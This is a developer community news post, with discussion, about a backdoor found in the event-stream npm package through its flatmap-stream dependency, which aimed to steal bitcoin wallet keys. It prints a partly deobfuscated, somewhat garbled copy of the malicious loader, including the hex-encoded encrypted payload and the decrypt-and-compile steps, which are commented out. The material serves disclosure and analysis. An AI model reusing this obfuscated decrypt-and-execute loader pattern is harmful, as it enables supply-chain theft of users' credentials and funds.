Skip to content

npm package discovered to have bitcoin-stealing backdoor

ben profile image Ben Halpern twitter logo github logo ・1 min read

I think people expected this would happen, or was already happening. This is a serious security risk we've all been dealing with in open source.

I don't know what to say. #116

@dominictarr Why was @right9ctrl given access to this repo? He added flatmap-stream which is entirely (1 commit to the repo but has 3 versions, the latest one removes the injection, unmaintained, created 3 months ago) an injection targeting ps-tree. After he adds it at almost the exact same time the injection is added to flatmap-stream, he bumps the version and publishes. Literally the second commit (3 days later) after that he removes the injection and bumps a major version so he can clear the repo of having flatmap-stream but still have everyone (millions of weekly installs) using 3.x affected.

@right9ctrl If you removed flatmap-stream because your realized it was an injection attack why didn't you yank event-stream@3.3.6 from npm and put a PSA? If you didn't know, why did you choose to use a completely unused/unknown library (0 downloads on npm until you use it)? If I had the exact date from npm in which flatmap-stream@0.1.1 was published I wouldn't be asking you questions.

I've included a break down of what I have so far on flatmap-stream below. It includes the portion of code not found in the unminified source of flatmap-stream@0.1.1 but found in the minified source. The code has been cleaned up a little to get a better understanding.

The worst part is I still don't even know what this does... The decrypted data n[0] is byte code or something, not regular javascript, or maybe I'm just not handling it correctly.

// var r = require, t = process;

// function e(r) {
//     return Buffer.from(r, "hex").toString()
// }
function decode(data) {
    return Buffer.from(data, "hex").toString()

// var n = r(e("2e2f746573742f64617461")),
// var n = require(decode("2e2f746573742f64617461"))
// var n = require('./test/data')
var n = ["75d4c87f3f69e0fa292969072c49dff4f90f44c1385d8eb60dae4cc3a229e52cf61f78b0822353b4304e323ad563bc22c98421eb6a8c1917e30277f716452ee8d57f9838e00f0c4e4ebd7818653f00e72888a4031676d8e2a80ca3cb00a7396ae3d140135d97c6db00cab172cbf9a92d0b9fb0f73ff2ee4d38c7f6f4b30990f2c97ef39ae6ac6c828f5892dd8457ab530a519cd236ebd51e1703bcfca8f9441c2664903af7e527c420d9263f4af58ccb5843187aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c53453c96c143a2a058ba91bc37e265b44c5874e594caaf53961c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959eab4707557b263ec74b2764033cd343199eeb6140a6284cb009a09b143dce784c2cd40dc320777deea6fbdf183f787fa7dd3ce2139999343b488a4f5bcf3743eecf0d30928727025ff3549808f7f711c9f7614148cf43c8aa7ce9b3fcc1cff4bb0df75cb2021d0f4afe5784fa80fed245ee3f0911762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e630888e5b6c3f2b8f8489cd6bc082c8063eb03dd665badaf2a020f1448f3ae268c8d176e1d80cc756dc3fa02204e7a2f74b9da97f95644792ee87f1471b4c0d735589fc58b5c98fb21c8a8db551b90ce60d88e3f756cc6c8c4094aeaa12b149463a612ea5ea5425e43f223eb8071d7b991cfdf4ed59a96ccbe5bdb373d8febd00f8c7effa57f06116d850c2d9892582724b3585f1d71de83d54797a0bfceeb4670982232800a9b695d824a7ada3d41e568ecaa6629","db67fdbfc39c249c6f338194555a41928413b792ff41855e27752e227ba81571483c631bc659563d071bf39277ac3316bd2e1fd865d5ba0be0bbbef3080eb5f6dfdf43b4a678685aa65f30128f8f36633f05285af182be8efe34a2a8f6c9c6663d4af8414baaccd490d6e577b6b57bf7f4d9de5c71ee6bbffd70015a768218a991e1719b5428354d10449f41bac70e5afb1a3e03a52b89a19d4cc333e43b677f4ec750bf0be23fb50f235dd6019058fbc3077c01d013142d9018b076698536d2536b7a1a6a48f5485871f7dc487419e862b1a7493d840f14e8070c8eff54da8013fd3fe103db2ecebc121f82919efb697c2c47f79516708def7accd883d980d5618efd408c0fd46fd387911d1e72e16cf8842c5fe3477e4b46aa7bb34e3cf9caddfca744b6a21b5457beaccff83fa6fb6e8f3876e4764e0d4b5318e7f3eed34af757eb240615591d5369d4ab1493c8a9c366dfa3981b92405e5ebcbfd5dca2c6f9b8e8890a4635254e1bc26d2f7a986e29fef6e67f9a55b6faec78d54eb08cb2f8ea785713b2ffd694e7562cf2b06d38a0f97d0b546b9a121620b7f9d9ccca51b5e74df4bdd82d2a5e336a1d6452912650cc2e8ffc41bd7aa17ab17f60b2bd0cfc0c35ed82c71c0662980f1242c4523fae7a85ccd5e821fe239bfb33d38df78099fd34f429d75117e39b888344d57290b21732f267c22681e4f640bec9437b756d3002a3135564f1c5947cc7c96e1370db7af6db24c9030fb216d0ac1d9b2ca17cb3b3d5955ffcc3237973685a2c078e10bc6e36717b1324022c8840b9a755cffdef6a4d1880a4b6072fd1eb7aabebb9b949e1e37be6dfb6437c3fd0e6f135bcea65e2a06eb35ff26dcf2b2772f8d0cde8e5fa5eec577e9754f6b044502f8ce8838d36827bd3fe91cccba2a04c3ee90c133352cbad34951fdf21a671a4e3940fd69cfee172df4123a0f678154871afa80f763d78df971a1317200d0ce5304b3f01ace921ea8afb41ec800ab834d81740353101408733fb710e99657554c50a4a8cb0a51477a07d6870b681cdc0be0600d912a0c711dc9442260265d50e269f02eb49da509592e0996d02a36a0ce040fff7bd3be57e97d07e4de0cdb93b7e3ccea422a5a526fb95ea8508ea2a40010f56d4aa96da23e6e9bcbae09dacccdcd8ac6af96a1922266c3795fb0798affaa75b8ae05221612ce45c824d1f6603fe2afd74b9e167736bfffe01a12b9f85912572a291336c693f133efeac881cd09207505ad93967e3b7a8972cdcce208bfa3b9956370795791ca91a8b9deabde26c3ee2adb43e9f7df2df16d4582a4e610b73754e609b1eea936a4d916bf5ed9d627692bcc8ed0933026e9250d16bdaf2b68470608aeaffedcf2be8c4c176bfc620e3f9f17a4a9d8ef9fe46cca41a79878d37423c0fa9f3ee1f4e6d68f029d6cbb5cbc90e7243135e0fc1dd66297d32adabc9a6d0235709be173b688ba2004f518f58f5459caca60d615ae4dc0d0eeacbe48ca8727a8b42dc78396316a0e223029b76311e7607ea5bd236307ba3b62afeff7a1ef5c0b5d7ee760c0f6472359c57817c5d9cd534d9a34bb4847bbc83c37b14b6444e9f386f1bec4b42c65d1078d54bd007ff545028205099abc454919406408b761a1636d10e39ede9f650f25abad3219b9d46d535402b930488535d97d19be3b0e75fed31d0b2f8af099481685e2b4fa9bff05cbac1b9b405db2c7eae68501633e02723560727a1c8c34c32afc76cdeb82fe8bae34b09cd82402076b9f481d043b080d851c7b6ba8613adba3bc3d5edb9a84fce41130ad328fe4c062a76966cb60c4fa801f359d22b70a797a2c2a3d19da7383025cb2e076b9c30b862456ae4b60197101e82133748c224a1431545fde146d98723ccb79b47155b218914c76f5d52027c06c6c913450fc56527a34c3fe1349f38018a55910de819add6204ab2829668ca0b7afb0d00f00c873a3f18daad9ae662b09c775cddbe98b9e7a43f1f8318665027636d1de18b5a77f548e9ede3b73e3777c44ec962fb7a94c56d8b34c1da603b3fc250799aad48cc007263daf8969dbe9f8ade2ac66f5b66657d8b56050ff14d8f759dd2c7c0411d92157531cfc3ac9c981e327fd6b140fb2abf994fa91aecc2c4fef5f210f52d487f117873df6e847769c06db7f8642cd2426b6ce00d6218413fdbba5bbbebc4e94bffdef6985a0e800132fe5821e62f2c1d79ddb5656bd5102176d33d79cf4560453ca7fd3d3c3be0190ae356efaaf5e2892f0d80c437eade2d28698148e72fbe17f1fac993a1314052345b701d65bb0ea3710145df687bb17182cd3ad6c121afef20bf02e0100fd63cbbf498321795372398c983eb31f184fa1adbb24759e395def34e1a726c3604591b67928da6c6a8c5f96808edfc7990a585411ffe633bae6a3ed6c132b1547237cab6f3b24c57d3d4cd8e2fbbd9f7674ececf0f66b39c2591330acc1ac20732a98e9b61a3fd979f88ab7211acbf629fcb0c80fb5ed1ea55df0735dcf13510304652763a5ed7bde3e5ebda1bf72110789ebefa469b70f6b4add29ce1471fa6972df108717100412c804efcf8aaba277f0107b1c51f15f144ab02dd8f334d5b48caf24a4492979fa425c4c25c4d213408ecfeb82f34e7d20f26f65fa4e89db57582d6a928914ee6fc0c6cc0a9793aa032883ea5a2d2135dbfcf762f4a2e22585966be376d30fbfabb1dfd182e7b174097481763c04f5d7cbd060c5a36dc0e3dd235de1669f3db8747d5b74d8c1cc9ab3a919e257fb7e6809f15ab7c2506437ced02f03416a1240a555f842a11cde514c450a2f8536f25c60bbe0e1b013d8dd407e4cb171216e30835af7ca0d9e3ff33451c6236704b814c800ecc6833a0e66cd2c487862172bc8a1acb7786ddc4e05ba4e41ada15e0d6334a8bf51373722c26b96bbe4d704386469752d2cda5ca73f7399ff0df165abb720810a4dc19f76ca748a34cb3d0f9b0d800d7657f702284c6e818080d4d9c6fff481f76fb7a7c5d513eae7aa84484822f98a183e192f71ea4e53a45415ddb03039549b18bc6e1","63727970746f","656e76","6e706d5f7061636b6167655f6465736372697074696f6e","616573323536","6372656174654465636970686572","5f636f6d70696c65","686578","75746638"]
    // o = t[e(n[3])][e(n[4])];
    // npm_package_description = process[decode(n[3])][decode(n[4])];
    // npm_package_description = process['env']['npm_package_description'];
    npm_package_description = 'Get all children of a pid'; // Description from ps-tree (this is the aes decryption key)

// if (!o) return;
if (!npm_package_description) return;

// var u = r(e(n[2]))[e(n[6])](e(n[5]), o),
// var decipher = require(decode(n[2]))[decode(n[6])](decode(n[5]), npm_package_description),
var decipher = require('crypto')['createDecipher']('aes256', npm_package_description),

    // a = u.update(n[0], e(n[8]), e(n[9]));
    // decoded = decipher.update(n[0], e(n[8]), e(n[9]));
    decoded = decipher.update(n[0], 'hex', 'utf8');

console.log(n); // IDK why this is here...

// a +=[9]));
decoded +='utf8');

// var f = new module.constructor;
var newModule = new module.constructor;

/**************** DO NOT UNCOMMENT [THIS RUNS THE CODE] **************/
// f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1])
// newModule.paths = module.paths, newModule['_compile'](decoded, ""), newModule.exports(n[1])
// newModule.paths = module.paths
// newModule['_compile'](decoded, "") // Module.prototype._compile = function(content, filename)
// newModule.exports(n[1])

This is the great post from Hackernoon theorizing this scenario:

I’m harvesting credit card numbers and passwords from your site. Here’s how.

Here's another thread that was just created, related to the topic:

How do we improve security in the npm ecosystem?

I still felt like this was worth a news headline on the site, hence this post. 🙂

twitter logo DISCUSS (32)
markdown guide

Npm is the perfect attack vector. Thousands of ill maintained packages with thousands of transitive dependencies.

Email one fed up maintainer, get commit rights, spread the malware.

I don't even completely blame the maintainer, he like many probably couldn't wait to take that weight off his shoulder.

I can't think of an easy solution. A package with millions of weekly installs shouldn't be unmaintained, but how do you solve this issue once and for all?


It’s probably much easier said than done to cut this off at the head, but static analysis + web crawling can probably go a lot further.

One side conversation is the dependency mayhem we engage in for reasons that have nothing to do with security.

  • Performance
  • Maintainability
  • Customizability

Lots of reasons to to trend conservative on including dependencies, especially on the client.

Left-pad had a big affect on me.


It's easier said than done.

For example:


This is one of the reasons every project should have a security point of contact. If not only to audit any dependencies added to the project; but to help the team stay ahead of emerging threats.

Multiple providers now offer security scanning as whole or part of the offered services. This can/does catch many security compromises before the code reaches any environments. Security needs to be a first class concern just like UX usability, performance, and database integrity. I dislike using trending works but this is a cornerstone of DevSecOps. DevOps + Security bakes in.

As a side note event-stream has nearly 2 MILLION downloads a week; wow.


As a side note event-stream has nearly 2 MILLION downloads a week; wow.

Everytime you delete that bloody node_modules directory and start again...


Came here to say just that, but you beat me to it.

A few things developers can do right now to introduce or elevate the security posture of their projects:

  1. Incorporate a security static code analysis tool to ensure the code you're writing is safe (e.g. awesome-static-code-analysis).
  2. Incorporate compositional analysis tools to ensure your dependencies are free of vulnerabilities (e.g. snyk, npm audit).
  3. Enable & require MFA when publishing modules to npm.
  4. Be cautious of dependencies that don't do any of the above and prefer a little copying over bringing in an entire dependency if the scope of the dependency is small enough.

(e.g. awesome-static-code-analysis). <- Awesome List is awesome! Thank you for the other tools as well. Very good mind set and security policies.


So this hack is actually kind of beautiful, from an engineering standpoint. It is meant to only trigger when run by a certain bitcoin wallet package, which has the original affected package as a dependency. The code then grabs your wallets private key. It requires the malicious code through an obfuscated require call. Which then only tries to do bad things if it reads a certain npm package description, the one from copay I believe. Equally beautiful and malicious.

The REAL kicker is that the malicious code only lived in the minified source of the flatmap-stream package. It was only able to decode and run when it hit the proper NPM package description.

The culprit loaded in malicious code into a widely used package distributed over loads of projects to hit a single package that used it as a dependency.


Great. Left-pad's evil twin finally arrived.

One of the reasons I've never liked the Node ecosystem is the ill managed nature of NPM. 'The largest package system in the world' - sure, but it's massive swamp of crap for the most part. I'd deliberately try to use the most minimal tools when bringing things in to my projects - tape instead of ava for instance.

You'd not get this madness in, say, Perl. Or even Go. Is the culture to blame? Massive frontend frameworks? A failure to recognize what we owe to each other when we publish software?


It's a mixture of many things in my opinion.

Maintainers that aren't paid and get fed up at some point, carelessness, the absence of a vetting system or a network of trust, the absence of static security analysis, the absence of a standard library, the culture of writing small modules for everything (search the is true package).

There's a thread going around where a developer counted that the react starter kit installs 1700 packages. Most of them are transitive dependencies.

The package in question is a transitive dependency of transitive dependencies, most people don't even know it exists.

The graph of most packages, not just frameworks, it's just stupid


Mmm, malicious code that targets Javascript and the Blockchain....I will call it Buzzware 😝


This is a serious security risk we've all been dealing with in open source.

That's right. In propriety software you cannot even deal with it. It cannot easily be detected, and once detected you cannot fix it yourself.


The real problem here is when you had old packages that include the infected packages.

You have to go an update everything to the latest version, possibly breaking stuff and pray that npm ls event-stream flatmap-stream does not show anything suspicious.



Also keep in mind that huge companies and small startups alike all basically depend on the same graph of packages, and nobody noticed in time.

I still can't believe that the maintainer of the package is also the maintainer of other hundreds of packages, that's absurd. Nobody should be in charge of so many dependencies by themselves


expecting to happen

This is only the beginning, when the avg packages imported per project is over 1000 what could go wrong?


I'm curious: does Maven (Java) has issues like this? I'm thinking of Maven Central repository mainly here.


I'm not aware of attacks that follow a similar format as the one described, but what is quite common is that you have a neglected POM file and thereby get outdated dependecies into your class path. There is for example a plugin for java build tools that checks your project depencencies against known vulnerabilites (OWASP_Dependency_Check).

The problem is, even if you are rather conservative with your third-parties, unless you eliminate them completely, the node ecosystem will still be too fragmented into small packages, as that anybody could ensure the integrity of all dependencies by manual review, which is frankly a major headache.


I think André sums it up pretty good.


There has to be something to be said about an ecosystem that allows/entrusts/lets a single human being be in charge of 700 packages. It's too much


That's beyond too much. That's too freaking much.


Possibly, what strikes me is that there seems to be a culture of taking and not giving back going on - otherwise the original maintainer would have some /help/ looking after what are obviously popular packages? Or is this a symptom of a rapidly evolving package landscape, where /nobody/ has enough help because they are all spread so thinly re-writing similar things? In this case it may be that the evolutionary pressures (like malware infestation!) whittle the noise down and leave us with fewer, better maintained things.

Full-disclosure: I've tried to use NPM once (not by choice), it b0rked with missing packages and I walked away (thanks 'dotnet new react' template).


My question is... Who codes with the same computer on which he manages his (crypto) currencies?

Everybody from the crypto sphere should know that those kind of attacks will never stop.


The idea was to hit a certain crypto package that used event-stream as a dependency. The code would only execute when run by that package.

Classic DEV Post from Feb 14 '19

CSS Smooth Scrolling

CSS is super powerful, before building something new it's a good idea to take a moment and see if something can be built with CSS instead of JavaScript

Ben Halpern profile image
A Canadian software developer who thinks he’s funny. He/Him.